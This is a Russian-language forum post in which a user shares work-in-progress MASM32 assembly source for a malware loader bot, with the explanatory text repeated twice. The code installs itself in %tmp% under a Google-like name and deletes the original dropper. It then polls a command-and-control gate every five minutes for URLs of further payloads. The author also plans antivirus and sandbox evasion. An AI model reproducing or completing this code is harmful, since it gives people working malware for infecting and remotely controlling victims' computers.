- Автор темы
- Добавить закладку
- #41
Пожалуйста, обратите внимание, что пользователь заблокирован
Итак, публикую то, что я смог пока что написать. Сразу говорю, этот кусок кода я пилил несколько дней (практически в течение всего дня), вышло мало потому что мало опыта, за каждой строкой приходилось компилировать лоадер, смотреть что да как. Семпл не идеальный, мб что-то вылетает, и главное - еще много чего следует дописать.
Intro
Админку я взял от лоадера 2к8 для начала. Как я понял, отстук тут весьма простой. Бот генерирует айди, исходя из условия, что длина его не больше 8 символов, и входят туда только цифры или буквы от a до f, т.е. попросту говоря, как шестнадцатеричные цифры. Потом стучит на гейт гет запросом вида /gate.php?id=1357acef . Админка же возвращает пустую страницу, если нет ничего (нет задания, бот забанен или не подходит по критериям), или же ссылку(и) в виде http://site.com/link/bot.exe; (разделитель можно ставить точку с запятой или другой).
Поначалу я очень сильно недоумевал, почему выбрано именно такое айди. Ведь при 8 знаках, да еще при выборе из 6 букв и 10 цифр вполне могут быть накладки и повторы. Но для начала, подумал, сойдет и так, все таки лоадер 2к8 писали умные люди (а не такие, как я) и начал писать алгос генерации айди. Сделал 2 алгоритма (случайная генерация строки), но к счастью в конфу зашел el- , который мне пояснил, что все это генерируется всего лишь 1 функцией GetVolumeInformation , которая и дает тот самый 8 значный айди по критерию, а именно айди жесткого диска.
Теперь, что касается самого лоадера. Код буду писать частями.
Секции данных, инклуды, ничего особенного.
запускаясь, бот через макрос GetCL получает аргументы командной строки, и смотрит, с какими параметрами его запустили. Будут два параметры, апдейт (пока не дописал, да и хз, надо ли это в нерезиденте), и удаление исходного файла (как писали выше, вдруг запустился файл с флешки или еще откуда?). Если есть параметры и параметр - удалить, бот удаляет то, что передали вторым параметром, т.е. запрос выглядит вида new.exe -del -тут_путь_к файлу что запустил.
Троекратная попытка удаления (с таймаутом 5 секунд), вдруг что-то зависло там или старый файл не успел выгрузится еще.
Далее бот создает мьютекс (вот не знаю, может это вначале разместить, т.е. до параметров командной строки?) и проверяет, нет ли такого мютекса в системе. Если есть - машина уже инфицирована, хз что тут делать.
Процедура установки в систему. Сверяет путь к файлу, если он сейчас не в %tmp% - копирует туда, запускает файл (который скопирован в темп), и передает ему команду на удаление исходного. Дроппер удаляет мьютекс и выгружает себя (файл с темпа его удалит).
Далее, бот уже лежит где надо, это не первый запуск. Бесконечный отстук в админку за заданием.
Сначала получаем айди жесткого диска, формируем строку для отстука на гейт.
Делаем таймаут для NtDelayExecution
Далее, запуск собственно процедуры отстука, и проверка, что она вернула.
Если вернулась 1 - значит, в буфере url2file путь к файлу.
тут скачивание файла, запуск его и самоудаление (пока не дописано).
Функция отстука на гейт простая:
В функцию надо добавить разные проверки (а есть ли инет вообще на компе?) и прочее (что упоминал KraZz в своей теме).
Что надо еще доделать:
1. DetectAV proc - процедуру для детекта аверского и реверс софта.
2. Что делать в случае, если попали на аверскую машину - например, процедуру фейковой работы сделать (стучать куда то налево), или просто вывести мессаджбокс с ошибкой, или хз.
3. Собственно, самое важное - скачивание и запуск файла, самоудаление лоадера. Думаю, это будет на сокетах/вининет.
Intro
Админку я взял от лоадера 2к8 для начала. Как я понял, отстук тут весьма простой. Бот генерирует айди, исходя из условия, что длина его не больше 8 символов, и входят туда только цифры или буквы от a до f, т.е. попросту говоря, как шестнадцатеричные цифры. Потом стучит на гейт гет запросом вида /gate.php?id=1357acef . Админка же возвращает пустую страницу, если нет ничего (нет задания, бот забанен или не подходит по критериям), или же ссылку(и) в виде http://site.com/link/bot.exe; (разделитель можно ставить точку с запятой или другой).
Поначалу я очень сильно недоумевал, почему выбрано именно такое айди. Ведь при 8 знаках, да еще при выборе из 6 букв и 10 цифр вполне могут быть накладки и повторы. Но для начала, подумал, сойдет и так, все таки лоадер 2к8 писали умные люди (а не такие, как я) и начал писать алгос генерации айди. Сделал 2 алгоритма (случайная генерация строки), но к счастью в конфу зашел el- , который мне пояснил, что все это генерируется всего лишь 1 функцией GetVolumeInformation , которая и дает тот самый 8 значный айди по критерию, а именно айди жесткого диска.
Теперь, что касается самого лоадера. Код буду писать частями.
Код:
.586
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,ntdll
.data
mutex db "GoogleUpdater",0;мютекс
gate db "http://loader.my/gate.php",0;путь к гейту
lpszAgent db "loader v.0.1 alfa",0;юзерагент
delay LARGE_INTEGER <>;для таймаута
first db 128 dup (0);параметры командной
second db 128 dup (0);строки процесса
.data?
gatebuf db 1024 dup (?);запрос к гейту
url2file db 1024 dup (?);путь к файлу для скачивания
hMut dd ?;хендл мютекса
запускаясь, бот через макрос GetCL получает аргументы командной строки, и смотрит, с какими параметрами его запустили. Будут два параметры, апдейт (пока не дописал, да и хз, надо ли это в нерезиденте), и удаление исходного файла (как писали выше, вдруг запустился файл с флешки или еще откуда?). Если есть параметры и параметр - удалить, бот удаляет то, что передали вторым параметром, т.е. запрос выглядит вида new.exe -del -тут_путь_к файлу что запустил.
Троекратная попытка удаления (с таймаутом 5 секунд), вдруг что-то зависло там или старый файл не успел выгрузится еще.
Код:
main PROC
local curfname[128]:byte
local botid[32]:byte
local tmpbuf[128]:byte
local VSNumber:dword;серийный номер
invoke GetCL, 2, offset second; получаем второй элемент командной строки
.if eax!=1;если его нет, значит запуск без параметров или ерунда какая-то
nop
.elseif eax==1;если же с параметрами - тогда обрабатываем их,апдейт или удалить
invoke GetCL, 1, offset first;получаем 1 параметр
.if eax==1
switch$ offset first
case$ "del"
invoke DeleteFile,addr second
.if eax==0;удалить не удалось
mov esi,3;до трех раз пробуем удалить, вдруг зависло что
@@:
invoke Sleep,5000;интервал 5 секунд
invoke DeleteFile,addr second
dec esi
cmp esi,0
jnz @B
.endif
case$ "upd"
nop
endsw$
.endif
.endif
Далее бот создает мьютекс (вот не знаю, может это вначале разместить, т.е. до параметров командной строки?) и проверяет, нет ли такого мютекса в системе. Если есть - машина уже инфицирована, хз что тут делать.
Код:
invoke CreateMutex,NULL,0,addr mutex;создаем мьютекс
invoke GetLastError
cmp eax,ERROR_ALREADY_EXISTS;если уже запущен
je copy_launched;сообщаем в админку или удаляемся или хз
mov hMut,eax;иначе сохраняем хендл
Процедура установки в систему. Сверяет путь к файлу, если он сейчас не в %tmp% - копирует туда, запускает файл (который скопирован в темп), и передает ему команду на удаление исходного. Дроппер удаляет мьютекс и выгружает себя (файл с темпа его удалит).
Код:
invoke GetModuleFileName,0,addr curfname,sizeof curfname;текущий путь к файлу
invoke ExpandEnvironmentStrings,chr$("%tmp%"),addr tmpbuf,sizeof tmpbuf;путь к темп
invoke lstrcat,addr tmpbuf,chr$("\GoodGoogle.exe");добавляем к нему имя фаела
;приводим инсталл путь к "длинному" пути - ибо сравнение не корректно реагирует
invoke GetLongPathName,addr tmpbuf,addr tmpbuf,sizeof tmpbuf
invoke lstrcmpi,addr curfname,addr tmpbuf;сравниваем текущий путь и инсталл путь
test eax,eax;если бот инсталирован
jz allr; переход куда-то дальше
invoke CopyFile,addr curfname,addr tmpbuf,FALSE;Если фолс, идет перезапись при копи
;формируем строку запроса для удаления, буфер шаблон , путь к дропперу
invoke wsprintf,addr second,chr$("%s %s"),chr$("del"),addr curfname
invoke CloseHandle,hMut;закрываем мьютекс, чтобы не было проблем с апдейтом
invoke ShellExecute,0,chr$("open"),addr tmpbuf,addr second,0,SW_SPOILER
exit
Сначала получаем айди жесткого диска, формируем строку для отстука на гейт.
Код:
invoke GetVolumeInformation,0,0,0,addr VSNumber,0,0,0,0
invoke wsprintf,addr botid,chr$("%p"),VSNumber
invoke szLower,addr botid;переводим в нижний регистр,ибо админка принимает лишь такое
invoke wsprintf,addr gatebuf,chr$("%s?id=%s"),addr gate,addr botid
Делаем таймаут для NtDelayExecution
Код:
mov delay.HighPart,0FFFFFFFFh
mov delay.LowPart,-(5*60*1000*10000);отстук каждые 5 минут
Код:
@@:
invoke NtDelayExecution,1,addr delay
call getTask;функция отстука, если задание есть, возвращает 1, если нет 0
test eax,eax;есть задание?
jnz @b;если нет, стучим дальше
тут скачивание файла, запуск его и самоудаление (пока не дописано).
Функция отстука на гейт простая:
Код:
getTask proc
;если задания нет, возвращает 0, иначе 1
local InternetHandle:dword
local FileHandle:dword
local b2read:dword
invoke InternetOpen,offset lpszAgent,0,0,0,0
mov InternetHandle,eax
invoke InternetOpenUrl,InternetHandle,offset gatebuf,0,0,0,0
mov FileHandle,eax
invoke InternetReadFile,FileHandle,offset url2file,1024,addr b2read
.if b2read==0
invoke InternetCloseHandle,InternetHandle
xor eax,eax;mov eax,0
ret
.endif
invoke InternetCloseHandle,InternetHandle
mov eax,1
ret
getTask endp
Что надо еще доделать:
1. DetectAV proc - процедуру для детекта аверского и реверс софта.
2. Что делать в случае, если попали на аверскую машину - например, процедуру фейковой работы сделать (стучать куда то налево), или просто вывести мессаджбокс с ошибкой, или хз.
3. Собственно, самое важное - скачивание и запуск файла, самоудаление лоадера. Думаю, это будет на сокетах/вининет.